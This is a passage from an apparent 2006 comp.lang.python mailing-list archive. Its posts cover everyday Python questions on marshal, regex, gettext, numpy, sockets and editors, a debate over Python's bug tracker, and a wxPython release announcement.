	<mailman.1476.1162205039.11739.python-list@python.org>
Message-ID: <1162208157.430566.57100@f16g2000cwb.googlegroups.com>

Fredrik Lundh wrote:
>
> it's explained in the documentation, of course:
>
>      http://effbot.org/imagingbook/image.htm#Image.getdata
>

But as I read it, this gives me pixel values, i.e. colors. I want
palette indexes instead (which is what is really stored in a palette
image). I guess I can make a test and see :)

/David



From ilias at lazaridis.com  Thu Oct  5 15:06:59 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 5 Oct 2006 12:06:59 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1321.1160029812.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1160004324.651743.280590@b28g2000cwb.googlegroups.com>
	<mailman.1321.1160029812.10491.python-list@python.org>
Message-ID: <1160075219.326684.170770@k70g2000cwa.googlegroups.com>

Steve Holden wrote:
> Ilias Lazaridis wrote:
> > Giovanni Bajo wrote:
> >
> >>Hello,
> >>
> >>I just read this mail by Brett Cannon:
> >>http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> >>where the "PSF infrastracture committee", after weeks of evaluation, recommends
> >>using a non open source tracker (called JIRA - never heard before of course)
> >>for Python itself.
> >>
> >>Does this smell "Bitkeeper fiasco" to anyone else than me?
> >>--
> >>Giovanni Bajo
> >
> >
> > Fascinating.
> >
> > The python foundation suggests a non-python non-open-source bugtracking
> > tool for python.
> >
> > It's like saying: "The python community is not able to produce the
> > tools needed to drive development of python forward."
> >
> > Anyway. The whole selection process is intransparent.
> >
> > The commitee should have stated "goals" and "requirements" with a
> > public verification of the tools against them.
>
> Is there any stick in the known universe that you will grasp the *right*
> end of?
>
>    http://wiki.python.org/moin/OriginalCallForTrackers

Please have a little bit more precision:

"Because we are not sure exactly what are requirements for a tracker
are we do not have a comprehensive requirements document."
http://wiki.python.org/moin/OriginalCallForTrackers

This document is empty:

http://wiki.python.org/moin/GoodTrackerFeatures

This is what I call "intransparent selection process" or "selectiong by
feelings".

-

The central requirement for a development-infrastructure / Host is
_control_:

http://case.lazaridis.com/wiki/Host

My personal selection for a tracking-system for a python based projects
is Trac:

http://case.lazaridis.com/wiki/Tracking

I context of the python project (which has own wiki), Roundup could
become the No.1 choice.

I am biased towards trac, but to be honest, I've not verified Roundup
deeper (due to the missing wiki-svn-ticket-integration, which is Trac's
major strength).

So, define the Goals, specify the resulting Requirements, and _after_
this, verify the Tools (Trac, Roundup) against those requirements -
otherwise the whole "comitee" thing becomes just a joke.

Another joke is to 'scare' the community with a non-open-source java
tracker, in order to get 6 to 10 contributors.

You need just 2 active contributors - and the python community, not
more (it's open source - so do some plumbing yourself, even if you are
the Python Foundation).

Alternatively, why don't you place an requirement "active open source
project which can process request from the foundation"?

Because this could have a negative influence on selecting Roundup?

(this is the reverse selection process. Select the candidate and adjust
the requirements).

In any way, the 'comitee' should really stop talking about JIRA in
context of python. This sounds really like a joke of bad taste.

btw: If JIRA is selected finally, the I have really to revise my
decision to choose python for my projects. Simply because I would be
afraid that the Python Foundation can't move Python into a leading
position.

http://case.lazaridis.com/wiki/Lang

-

btw: I like both tools, JIRA (nice design) and Roundup (simplicity, db
layer)

.



From hanumizzle at gmail.com  Fri Oct  6 04:03:36 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 04:03:36 -0400
Subject: Package to handle table text render (handle space or tab between
	the columns) ?
In-Reply-To: <45260ab2$0$25946$ba4acef3@news.orange.fr>
References: <45260ab2$0$25946$ba4acef3@news.orange.fr>
Message-ID: <463ff4860610060103t648f3f3au33d7dfeb882332b7@mail.gmail.com>

On 10/6/06, KLEIN St?phane <stephane at harobed.org> wrote:
> Hi,
>
> I would like print tabular values on terminal (stdout). Are there
> package to handle table text render ?

Have a look at:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267662

-- Theerasak


From oxyd.oxyd at gmail.com  Fri Oct  6 14:20:03 2006
From: oxyd.oxyd at gmail.com (Oxyd)
Date: 6 Oct 2006 11:20:03 -0700
Subject: humble coin head or tail game script I wrote
In-Reply-To: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
Message-ID: <1160158803.404425.316430@h48g2000cwc.googlegroups.com>

Um...  It looks to me like it just counts the number of times you
entered 't'...



From tlesher at gmail.com  Fri Oct  6 15:40:13 2006
From: tlesher at gmail.com (Tim Lesher)
Date: 6 Oct 2006 12:40:13 -0700
Subject: Iterating over marshal
Message-ID: <1160163613.346243.128920@m73g2000cwd.googlegroups.com>

I'm using the marshal library to unmarshal a file containing one or
more objects.  The canonical way seems to be:

objs = []
while 1:
    try:
        objs.append(marshal.load(fobj))
    except EOFError:
        break

Maybe it's just me, but it seems as if this should be iterable.  I can
get the behavior I want by writing:

def itermarshal(fobj):
    while 1:
        try:
            yield marshal.load(fobj)
        except EOFError:
            raise StopIteration

objs = [obj for obj in itermarshal(fobj)]

But it seems that this should be built-in somewhere.  Given that the
marshal library has been around since roughly forever, is it just that
no one's bothered to add iteration support to it, or am I missing
something?

Thanks.

-- 
Tim Lesher
tlesher at gmail.com



From antroy at gmail.com  Fri Oct  6 11:49:39 2006
From: antroy at gmail.com (Ant)
Date: 6 Oct 2006 08:49:39 -0700
Subject: Bug in re module?
Message-ID: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>

Look at the following minimal example:

>>> import re
>>> p = re.compile(r"(:?Test) (String)")
>>> m = p.search("This is a Test String OK?")
>>> m.groups()
('Test', 'String')

I would have expected this to produce:

('String')

since (:?...) should be a non-capturing group. From the module
reference:

(?:...)
    A non-grouping version of regular parentheses. Matches whatever
regular expression is inside the parentheses, but the substring matched
by the group cannot be retrieved after performing a match or referenced
later in the pattern.



From japrice at gmail.com  Fri Oct 27 11:34:36 2006
From: japrice at gmail.com (Jason)
Date: 27 Oct 2006 08:34:36 -0700
Subject: Accessing ClarifyCRM with Python
Message-ID: <1161963276.238983.90190@h48g2000cwc.googlegroups.com>

I need to embed the ability to create a Clarify Case in a python
program I have written.  Unfortunately my familiarity with Clarify is
very limited at this point.

Is there a module out there that makes this process semi-painless?  I
couldn't find one googling around...  Has anyone implemented something
like this?  Care to give a few pointers?

I do know that another part of the business has a perl script that can
generate a Clarify case. I'm chasing down that example as well, but I
don't have it in hand at this point.  So I know that this is
possible... I just don't know how much work it will be.

Any pointers would be greatly appreciated.

--Jason



From johnjsal at NOSPAMgmail.com  Thu Oct 26 15:15:04 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 19:15:04 GMT
Subject: which one of these is better?
In-Reply-To: <Yu-dnbqskNs0mdzYnZ2dnUVZ_q-dnZ2d@comcast.com>
References: <BR60h.167$1n3.4240@news.tufts.edu>
	<Yu-dnbqskNs0mdzYnZ2dnUVZ_q-dnZ2d@comcast.com>
Message-ID: <YO70h.169$1n3.4160@news.tufts.edu>

Michael B. Trausch wrote:

> Not really ?ber-qualified to say anything, but I think that the
> following would be better:
> 
> try:
> 	f = open('file.sql')
> 	script = f.read()
> 	f.close()
> except IOError:
> 	wx.MessageBox('Message', 'Message Title')

I was thinking of something like this actually.

> Not sure about the with-- I just went to read the PEP on it, and it
> confused me greatly.  :-)  So, I don't know.

Ditto. :)


From gmarkowsky at gmail.com  Sun Oct 29 10:47:23 2006
From: gmarkowsky at gmail.com (gmarkowsky at gmail.com)
Date: 29 Oct 2006 07:47:23 -0800
Subject: importing class
In-Reply-To: <d%q0h.13718$Lv3.6618@newsread1.news.pas.earthlink.net>
References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com>
	<d%q0h.13718$Lv3.6618@newsread1.news.pas.earthlink.net>
Message-ID: <1162136843.000525.149420@e3g2000cwe.googlegroups.com>

Yep, that fixed it. Many thanks.

Greg

Dennis Lee Bieber wrote:
> On 27 Oct 2006 09:22:00 -0700, gmarkowsky at gmail.com declaimed the
> following in comp.lang.python:
>
> > It's supposed to just make a Tkinter window with two choices. The
> > problem is that when I import it from a module, I get the following
> > error:
> >
> > NameError: global name 'Frame' is not defined
> >
> > But when I copy and paste it into the file, it works. Can anyone tell
> > me what's wrong?
> >
> 	Probably the simple fact that your "file" likely has all the imports
> for Tkinter defined. The module that you are importing needs to have
> those imports inside it -- imported modules do not have visibility of
> names defined in the importING file.
> --
> 	Wulfraed	Dennis Lee Bieber		KD6MOG
> 	wlfraed at ix.netcom.com		wulfraed at bestiaria.com
> 		HTTP://wlfraed.home.netcom.com/
> 	(Bestiaria Support Staff:		web-asst at bestiaria.com)
> 		HTTP://www.bestiaria.com/



From kjellmf at gmail.com  Fri Oct 13 07:22:35 2006
From: kjellmf at gmail.com (Kjell Magne Fauske)
Date: 13 Oct 2006 04:22:35 -0700
Subject: 3D Vector Type Line-Drawing Program
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
Message-ID: <1160738554.781911.281540@b28g2000cwb.googlegroups.com>

> I'm looking for a program to do line-drawings in 3d, with output to
> postscript or svg or pdf, etc. I would like to describe a scene with
> certain 1-3d elements oriented in 3d space with dashed or colored lines
> and filled or transparent surfaces (or maybe semitransparent).
>

For high quality line drawings using Python you have PyX [1].
Unfortunately it does not come with a 3D library. You probably have too
look elsewere for 3D vector drawings.  Some places to look are:

- Asymptote [2]
- Sketch [3]. A small, simple system for producing line drawings of
two- or three-dimensional solid objects and scenes. Sketch generates
PSTricks code for LaTeX.

Both Asymptote and Sketch requires TeX/LaTeX for typesetting labels and
such. Sketch is probably the closest to what you are looking for. See
[4] for an example of what kind of graphics it can create.

[1] http://pyx.sourceforge.net/
[2] http://asymptote.sourceforge.net/
[3] http://www.frontiernet.net/~eugene.ressler/
[4] http://www.fauskes.net/nb/threedill/

Regards,
Kjell Magne Fauske



From Leo.Kislov at gmail.com  Sat Oct 28 05:50:32 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 28 Oct 2006 02:50:32 -0700
Subject: gettext on Windows
References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
	<mailman.1392.1162022981.11739.python-list@python.org>
	<1162023784.123822.266270@m73g2000cwd.googlegroups.com>
	<454322BC.8020002@v.loewis.de>
	<1162028026.501490.93250@m7g2000cwm.googlegroups.com>
Message-ID: <1162029032.840155.147160@b28g2000cwb.googlegroups.com>


russ.phillips.nospam at googlemail.com wrote:
> Martin v. L?wis wrote:
> > russ.phillips.nospam at googlemail.com schrieb:
> > > Traceback (most recent call last):
> > >   File "panicbutton.py", line 36, in ?
> > >     lan = gettext.GNUTranslations (open (sLang, "rb"))
> > >   File "C:\Python24\lib\gettext.py", line 177, in __init__
> > >     self._parse(fp)
> > >   File "C:\Python24\lib\gettext.py", line 280, in _parse
> > >     raise IOError(0, 'File is corrupt', filename)
> > > IOError: [Errno 0] File is corrupt: 'locale\\fr_FR.mo'
> >
> > If it says so, it likely is right. How did you create the file?
>
> I only get the "File is corrupt" error when I changed
>
> lan = gettext.GNUTranslations (open (sLang))

This code definately corrupts .mo files since on windows files are
opened in text mode by default.

> to
>
> lan = gettext.GNUTranslations (open (sLang, "rb"))
>
> Without the "rb" in the open () I get a "struct.error : unpack str size
> does not match format" error (see original post).

struct.error usually means input data doesn't correspond to expected
format.

> The .mo files were created using poEdit (www.poedit.org), and I get the
> same error with various translations, all created by different people.

Try msgunfmt
http://www.gnu.org/software/gettext/manual/html_node/gettext_128.html#SEC128
to see if it can convert your files back to text.

  -- Leo



From nrajesh71 at gmail.com  Tue Oct 10 23:03:12 2006
From: nrajesh71 at gmail.com (Raj)
Date: 10 Oct 2006 20:03:12 -0700
Subject: How to write Smart Python programs?
Message-ID: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>

Hi,

We just executed a project with Python using TG. The feedback was to
use more python like programming rather than C style code executed in
Python. The feedback is from a Python purist and for some reasons we
cannot solicity his help.

So we'd like to do is to scrub through the codebase and identify places
where the codebase needs improvement, both from styling as well as
design. Is there any website that can provide me with advanced tips
rather than just tutorials coz thats not of much help.

The project involves:
1. A server module that receives messages from a datalogger to populate
a database
2. A DB access module that interfaces with the UI

The technologies we use are TurboGears, SQLAlchemy, CherryPy, Kid
templates.

Any help will be greatly appreciated. If you would like to get involved
in it for $$ (experienced in the tools mentioned above) as well do let
me know. I need help asap as the deadlines are very very short.

Thanks,
Raj.



From sturlamolden at yahoo.no  Wed Oct 25 13:25:46 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 25 Oct 2006 10:25:46 -0700
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <mailman.1174.1161777956.11739.python-list@python.org>
References: <mailman.1162.1161769345.11739.python-list@python.org>
	<453F4A52.3050200@v.loewis.de>
	<mailman.1174.1161777956.11739.python-list@python.org>
Message-ID: <1161797145.981948.123730@b28g2000cwb.googlegroups.com>


Robin Becker wrote:

> > ULONG CalcTableChecksum(ULONG *Table, ULONG Length)
> > {
> > ULONG Sum = 0L;
> > ULONG *Endptr = Table+((Length+3) & ~3) / sizeof(ULONG);
> >
> > while (Table < EndPtr)
> > 	Sum += *Table++;
> > return Sum;
> > }

Is this what you want?

import numpy
def CalcTableChecksum(Table, Length=None):
   tmp = numpy.array(Table,dtype=numpy.uint32)
   if Length == None: Length = tmp.size
   endptr = ((Length+3) & ~3) / 4
   return (tmp[0:endptr]).sum()



From spedrosa at gmail.com  Thu Oct 19 13:17:13 2006
From: spedrosa at gmail.com (Stephen Eilert)
Date: 19 Oct 2006 10:17:13 -0700
Subject: A suggestion/request for IDEs
References: <pRLZg.113$1n3.3340@news.tufts.edu>
	<1161270895.245695.176750@m7g2000cwm.googlegroups.com>
	<mailman.753.1161272352.11739.python-list@python.org>
Message-ID: <1161278233.769310.297290@i3g2000cwc.googlegroups.com>

Tim Chase wrote:
> John Salerno wrote:
> > I apologize for the slightly off-topic nature, but I thought I'd just
> > throw this out there for anyone working on text editors or IDEs with
> > auto-completion.
>
> Well, Vim7's autocompletion already allows this.  Earlier
> versions of vim also allowed similar behavior, but (AFAIK) didn't
> have a nice way to cancel the suggestion or to accept the
> suggestion without an additional character (or leaving insert
> mode).  In Vim7, you can abort your current ^P/^N completion with
> ^E (to regain just what you typed, minus the current
> completion/suggestion) or you can accept it with ^Y (which won't
> add an extra character), or you can just continue typing to
> accept the completion, and then add the character you typed (such
> as space, period, etc).
>
> Other editors/IDEs may have similar functionality...
>
> -tkc

The best IDE's can do is a minor form of autocomplete, considering the
dynamic nature of Python programs.


Stephen



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Wed Oct 11 17:38:58 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Wed, 11 Oct 2006 23:38:58 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de>
	<4p4hpqFhc4ilU1@individual.net> <4p4rq4Fguir3U1@uni-berlin.de>
Message-ID: <4p56jjFhbbn8U1@individual.net>

Diez B. Roggisch wrote:

> You don't seem to understand what is happening here. The fact that
> string literals in java exist has nothing to do with an implicit
> type casting as above example shows.

Whoops. "10", arg and _arg /are/ integers, right?
 
> C++ was new, nobody forced them to keep pointers around.

For compatibility reasons to C it seems quite necessary.

[interface compatibility to String]
> That isn't possible with python, too. 

No? Mh, perhaps it's too late for my brain tonight ;)

> Python has those clunky rules as well as C++ - or don't you write
> character literals like
> 
> "abcd"
> 
> in C++ as well? Where exactly is that clunky?

IMHO, that only for String class

String spam = "eggs";

works (in Java).
 
> But choices let you make more errors - which was my point from the
> beginning: java is a limited language, and I don't like it too
> much. But it makes it hard to do things wrong. C++ makes it hard
> to make them right.

I agree. *If* one is an absolute beginner with programming. C++ may
have too many weird options in places where Java has one possible
solution.

Regards,


Bj?rn

-- 
BOFH excuse #364:

Sand fleas eating the Internet cables



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Fri Oct 27 08:25:16 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Fri, 27 Oct 2006 14:25:16 +0200
Subject: my first software
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
	<4qc748Fm34hdU1@individual.net>
	<mailman.1287.1161882208.11739.python-list@python.org>
Message-ID: <4qec58Fmrcd1U1@individual.net>

Fredrik Lundh wrote:

> cygwin?

I thought so too, but cygwin would use #!/cygdrive/c/..., IIRC.

> exemaker?  some kind of web server? 

Okay, didn't know that :)

Regards,


Bj?rn

-- 
BOFH excuse #22:

monitor resolution too high



From rrr at ronadam.com  Wed Oct 18 20:36:44 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 19:36:44 -0500
Subject: Flexable Collating (feedback please)
In-Reply-To: <mailman.726.1161212153.11739.python-list@python.org>
References: <35kZg.6681$fl.2685@dukeread08>
	<mailman.726.1161212153.11739.python-list@python.org>
Message-ID: <WPzZg.6719$fl.1263@dukeread08>

Gabriel Genellina wrote:
> At Wednesday 18/10/2006 03:42, Ron Adam wrote:
> 
>> I put together the following module today and would like some feedback 
>> on any
>> obvious problems.  Or even opinions of weather or not it is a good 
>> approach.
>>          if self.flag & CAPS_FIRST:
>>              s = s.swapcase()
> 
> This is just coincidental; it relies on (lowercase)<(uppercase) on the 
> locale collating sequence, and I don't see why it should be always so.

The LC_COLLATE structure (in the python.exe C code I think) controls the order 
of upper and lower case during collating.  I don't know if there is anyway to 
examine it unfortunately.

If there was a way to change the LC_COLLATE structure, I wouldn't need to resort 
to tricks like s.swapcase().  But without that info, I don't know of another way.

Maybe changing the CAPS_FIRST to REVERSE_CAPS_ORDER would do?


>>          if self.flag & IGNORE_LEADING_WS:
>>              s = s.strip()

I'm not sure if this would make any visible difference. It might determine order 
of two strings where they are the same, but one has white space at the end the 
other doesn't.

They run at the same speed either way, so I'll go ahead and change it.  Thanks.


> This ignores trailing ws too. (lstrip?)
> 
>>          if self.flag & NUMERICAL:
>>              if self.flag & COMMA_IN_NUMERALS:
>>                  rex = 
>> re.compile('^(\d*\,?\d*\.?\d*)(\D*)(\d*\,?\d*\.?\d*)',
>> re.LOCALE)
>>              else:
>>                  rex = re.compile('^(\d*\.?\d*)(\D*)(\d*\.?\d*)', 
>> re.LOCALE)
>>              slist = rex.split(s)
>>              for i, x in enumerate(slist):
>>                  if self.flag & COMMA_IN_NUMERALS:
>>                      x = x.replace(',', '')
>>                  try:
>>                      slist[i] = float(x)
>>                  except:
>>                      slist[i] = locale.strxfrm(x)
>>              return slist
>>          return locale.strxfrm(s)
> 
> You should try to make this part a bit more generic. If you are 
> concerned about locales, do not use "comma" explicitely. In other 
> countries 10*100=1.000 - and 1,234 is a fraction between 1 and 2.

See the most recent version of this I posted.  It is a bit more generic.

       news://news.cox.net:119/PNxZg.6714$fl.4591 at dukeread08

Maybe a 'comma_is_decimal' option?

Options are cheep so it's no problem to add them as long as they make sense. ;-)

These options are what I refer to as mid-level options.  The programmer does 
still need to know something about the data they are collating.  They may still 
need to do some preprocessing even with this, but maybe not as much.

In a higher level collation routine, I think you would just need to specify a 
named sort type, such as 'dictionary', 'directory', 'enventory' and it would set 
the options and accordingly.  The problem with that approach is the higher level 
definitions may be different depending on locale or even the field it is used in.


>>      The NUMERICAL option orders leading and trailing digits as numerals.
>>
>>          >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2']
>>          >>> collated(t, NUMERICAL)
>>          ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2']
> 
>  From the name "NUMERICAL" I would expect this sorting: b2, 4abc, a5, 
> a10.2, 13.5b, 20abc, a40 (that is, sorting as numbers only).
> Maybe GROUP_NUMBERS... but I dont like that too much either...


How about 'VALUE_ORDERING' ?

The term I've seen before is called natural ordering, but that is more general 
and can include date, roman numerals, as well as other type.


Cheers,
    Ron






From rrr at ronadam.com  Wed Oct 18 03:32:39 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 02:32:39 -0500
Subject: [OT] a little about regex
In-Reply-To: <mailman.669.1161155299.11739.python-list@python.org>
References: <mailman.669.1161155299.11739.python-list@python.org>
Message-ID: <RPkZg.6684$fl.2400@dukeread08>

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> Hello,
> 
> I'm trying to get working an assertion which filter address from some domain 
> but if it's prefixed by '.com'.
> Even trying to put the result in a negate test I can't get the wanted result.
> 
> The tought in program term :
> 
>>>> def filter(adr):
> ...     import re
> ...     allow = re.compile('.*\.my(>|$)')
> ...     deny = re.compile('.*\.com\.my(>|$)')
> ...     cnt = 0
> ...     if deny.search(adr): cnt += 1
> ...     if allow.search(adr): cnt += 1
> ...     return cnt
> ...
>>>> filter('some.ads at lazyfox.com.my')
> 2
>>>> filter('some.ads at lazyfox.net.my')
> 1
> 
> Seem that I miss some better regex implementation to avoid that both of the 
> filters taking action. I'm thinking of lookbehind (negative or positive) 
> option, but I think I couldn't realize it yet.
> I think the compilation should either allow have no '.com' before '.my' or 
> deny should have _only_ '.com' before '.my'. Sorry I don't get the correct 
> sintax to do it.
> 
> Suggestions are welcome.
> 
> F

Instead of using two separate if's, Use an if - elif and be sure to test the 
narrower filter first.  (You have them in the correct order) That way it will 
skip the more general filter and not increment cnt twice.

It's not exactly clear on what output you are seeking.  If you want 0 for not 
filtered and 1 for filtered, then look to Freds Hint.

Or are you writing a test at the moment, a 1 means it only passed one filter so 
you know your filters are working as designed?

Another approach would be to assign values for filtered, accepted, and undefined 
and set those accordingly instead of incrementing and decrementing a counter.

Cheers,
   Ron





From operagasten at gmail.com  Tue Oct 10 03:03:21 2006
From: operagasten at gmail.com (Gasten)
Date: 10 Oct 2006 00:03:21 -0700
Subject: A curses-game I need help with.
In-Reply-To: <mailman.153.1160436476.11739.python-list@python.org>
References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
	<1160412739.247683.218620@k70g2000cwa.googlegroups.com>
	<mailman.153.1160436476.11739.python-list@python.org>
Message-ID: <1160463801.298135.90430@i42g2000cwa.googlegroups.com>

Ben Finney wrote:
> If you have a problem you'd like a lot of people to look at, the most
> effective way is to make a short, complete example that demonstrates
> exactly the problem you're trying to understand.

I should make a demo, you say? I'm gonna do that next time. Thanks.



From http  Wed Oct  4 12:05:03 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 09:05:03 -0700
Subject: PEP 358 and operations on bytes
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>
	<7xejtojdys.fsf@ruckus.brouhaha.com>
	<1159976793.484514.277050@h48g2000cwc.googlegroups.com>
Message-ID: <7xfye4f4nk.fsf@ruckus.brouhaha.com>

"John Machin" <sjmachin at lexicon.net> writes:
> But not on other integer subtypes. If regexps should not be restricted
> to text, they should work on domains whose number of symbols is greater
> than 256, shouldn't they?

I think the underlying regexp C library isn't written that way.  I can
see reasons to want a higher-level regexp library that works on
arbitrary sequences, calling a user-supplied function to classify
sequence elements, the way current regexps use the character code to
classify characters.


From mike$#at^&nospam!%trauschus  Tue Oct 17 17:10:25 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Tue, 17 Oct 2006 17:10:25 -0400
Subject: Python Web Site?
In-Reply-To: <mailman.660.1161118236.11739.python-list@python.org>
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
	<mailman.660.1161118236.11739.python-list@python.org>
Message-ID: <psednYHSo4Vf26jYnZ2dnUVZ_ridnZ2d@comcast.com>

Tim Chase wrote:
>> Is there a problem with the Python and wxPython web sites?
>> I cannot seem to get them up
> 
> Sounds like someone needs some pyagra...
> 
> (grins, ducks, and runs)
> 

Interesting.  I thought at first it was a problem with Python's sites...
but I got through to the Python site just now... but I can't get through
to the wx* sites (wxwidgets.org, wxpython.org at the very least).  Seems
that my trouble with the Python web site itself was coincidental.

	-- Mike


From hat at se-126.se.wtb.tue.nl  Wed Oct 11 10:55:55 2006
From: hat at se-126.se.wtb.tue.nl (A.T.Hofkamp)
Date: Wed, 11 Oct 2006 16:55:55 +0200
Subject: sufficiently pythonic code for testing type of function
References: <mailman.259.1160543174.11739.python-list@python.org>
	<452cab5d$0$5294$426a74cc@news.free.fr>
Message-ID: <slrneiq1fr.fm8.hat@se-126.se.wtb.tue.nl>

On 2006-10-11, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
>
> Now the real question : what if the object is not an instance of any of
> the types, but still support the expected interface ?
>

one possible answer: Use ZopeInterfaces
(and ask objects 'do you implement interface X' rather than 'are you type Y')

Not sure what options you have when dealing with builtin data types however.


Albert


From robert.kern at gmail.com  Mon Oct  9 14:21:22 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 09 Oct 2006 14:21:22 -0400
Subject: switching to numpy and failing, a user story
In-Reply-To: <1160399089.004617.120480@h48g2000cwc.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>	<mailman.33.1160258991.11739.python-list@python.org>
	<1160399089.004617.120480@h48g2000cwc.googlegroups.com>
Message-ID: <ege3vc$gj6$1@sea.gmane.org>

Istvan Albert wrote:
> No one is questioning one's right to try to sell a product/book etc.
> But I happen to believe that trying to make money by selling the docs
> is stupid, you'll scare away potential users, hinder the acceptance of
> the product, further fragment the community of users needing such
> functionality. Once I hit the page asking me to pay even before telling
> me what NumPy does, I went back to Numeric. Even now I can't tell in
> what way is NumPy different from Numeric or Numarray  (I understand
> that implementation wise it is different).

Really?

   http://numpy.scipy.org/new_features.html

Okay, I guess this link is indeed a few whole sentences after the mention of the 
book. And also after the link to the sample chapters which, lo and behold, 
contain even more detailed information about the changes as well as instructions 
on how to port Numeric and numarray code to numpy.

   http://numpy.scipy.org/numpybooksample.pdf

> I wish the author all the best, with the remark that in this day and
> age with the pervasive need for large scale management/analysis he
> would/could make a lot more money by fostering relationships with
> research groups (private/university)  and selling his scientific
> computing (support) expertise rather then a pdf file.

Since he is working towards tenure, working on numpy and the book is about as 
much as his tenure committee will tolerate, and that grudgingly. Selling 
consulting services in any significant amount is probably out of the question.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From mumebuhi at gmail.com  Fri Oct 27 02:15:35 2006
From: mumebuhi at gmail.com (mumebuhi)
Date: 26 Oct 2006 23:15:35 -0700
Subject: To Stop a Process that is Waiting on socket.accept()
In-Reply-To: <mailman.1324.1161927693.11739.python-list@python.org>
References: <1161926712.933304.74090@e3g2000cwe.googlegroups.com>
	<mailman.1324.1161927693.11739.python-list@python.org>
Message-ID: <1161929735.210222.186740@i42g2000cwa.googlegroups.com>

Hi Steve,

The output is as the following (excluding the "---start---" and
"---end---"):
---start---
die now
Traceback (most recent call last):
  File "../../../scratch/python/tmp.py", line 39, in ?
    channel, details = server.accept()
  File "/usr/lib/python2.4/socket.py", line 169, in accept
    sock, addr = self._sock.accept()
  File "../../../scratch/python/tmp.py", line 33, in cleanup
    server.shutdown(socket.SHUT_RDWR)
  File "<string>", line 1, in shutdown
socket.error: (128, 'Transport endpoint is not connected')
---end---

I copied and pasted the previous posting and the above is the output.
It is the actual code. Sorry if I don't get your point.


Buhi



From robin at alldunn.com  Mon Oct 23 01:45:51 2006
From: robin at alldunn.com (Robin Dunn)
Date: Sun, 22 Oct 2006 22:45:51 -0700
Subject: ANN: wxPython 2.7.1.2 release
Message-ID: <453C570F.9090002@alldunn.com>

Announcing
----------

The 2.7.1.2 release of wxPython is now available for download at
http://wxpython.org/download.php.  This release is a quick-turnaround
bugfix release designed to solve some problems found in the 2.7.1.1
release. Source and binaries are available for both Python 2.4 and 2.5
for Windows and Mac, as well some pacakges for varous Linux
distributions.  A summary of changes is listed below and also at
http://wxpython.org/recentchanges.php.


What is wxPython?
-----------------

wxPython is a GUI toolkit for the Python programming language. It
allows Python programmers to create programs with a robust, highly
functional graphical user interface, simply and easily. It is
implemented as a Python extension module that wraps the GUI components
of the popular wxWidgets cross platform library, which is written in
C++.

wxPython is a cross-platform toolkit. This means that the same program
will usually run on multiple platforms without modifications.
Currently supported platforms are 32-bit Microsoft Windows, most Linux
or other Unix-like systems using GTK2, and Mac OS X 10.3+, in most
cases the native widgets are used on each platform.


Changes in 2.7.1.2
------------------

Fixed a bug in the MaskedEdit controls caused by conflicting IsEmpty
methods.

Patch #1579280: Some mimetype optimizations on unix-like systems.

wxMac: Several wx.webkit.WebKitCtrl enhancements/fixes, including:

     - new methods for increasing/decreasing text size, getting
       selection, getting/setting scroll position, printing, enabling
       editing, and running JavaScripts on the page.

     - added new event (wx.webkit.WebKitBeforeLoadEvent) for catching, and
       possibly vetoing, load events before they occur.

     - wx.webkit.WebKitCtrl now fires mouse events for certain events
       that it was eating before. This improves wxSplitterWindow
       resizing behavior.

     - refactoring of the sizing logic to move the Cocoa view.  Tested
       with splitter windows, panels, notebooks and all position
       correctly with this.

Some improvements to the drawing code in CustomTreeCtrl.

Fixed refcount leak in wx.Window.GetChildren.


-- 
Robin Dunn
Software Craftsman
http://wxPython.org  Java give you jitters?  Relax with wxPython!



From dialUAZ###UZ#$AAtone at gWARAmail.com  Wed Oct  4 09:40:34 2006
From: dialUAZ###UZ#$AAtone at gWARAmail.com (Valentino Volonghi aka Dialtone)
